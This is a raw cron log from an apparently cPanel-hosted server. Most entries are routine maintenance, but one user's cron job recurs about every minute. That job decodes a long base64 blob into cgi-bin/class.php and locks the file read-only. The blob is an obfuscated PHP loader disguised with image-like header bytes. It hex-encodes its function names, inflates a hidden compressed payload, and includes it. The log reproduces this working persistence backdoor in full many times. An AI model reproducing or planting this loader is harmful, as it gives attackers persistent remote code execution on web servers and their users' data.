Sep  9 20:38:01 server CROND[7654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:38:01 server CROND[7653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:39:01 server CROND[8042]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 20:39:01 server CROND[8043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:39:01 server CROND[8041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:39:01 server CROND[8044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:40:01 server CROND[8445]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:40:01 server CROND[8449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:40:01 server CROND[8451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:40:01 server CROND[8453]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:40:01 server CROND[8452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:40:01 server CROND[8448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:40:01 server CROND[8454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:40:01 server CROND[8450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:41:01 server CROND[9430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:41:01 server CROND[9431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:41:01 server CROND[9432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:42:01 server CROND[9811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:42:01 server CROND[9812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:42:01 server CROND[9813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:42:01 server CROND[9815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:43:01 server CROND[10264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:43:01 server CROND[10265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:43:01 server CROND[10266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:44:01 server CROND[10657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:44:01 server CROND[10656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:44:01 server CROND[10658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:45:01 server CROND[11053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:45:01 server CROND[11055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:45:02 server CROND[11058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:45:02 server CROND[11059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:45:02 server CROND[11060]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:45:02 server CROND[11056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:45:02 server CROND[11057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:46:01 server CROND[11975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:46:01 server CROND[11976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:46:01 server CROND[11977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:47:01 server CROND[12366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:47:01 server CROND[12367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:47:01 server CROND[12368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:48:01 server CROND[12825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:48:01 server CROND[12826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:48:01 server CROND[12827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:49:01 server CROND[13214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:49:01 server CROND[13215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:49:01 server CROND[13216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:50:01 server CROND[13613]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:50:01 server CROND[13614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:50:01 server CROND[13617]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:50:01 server CROND[13618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:50:01 server CROND[13621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
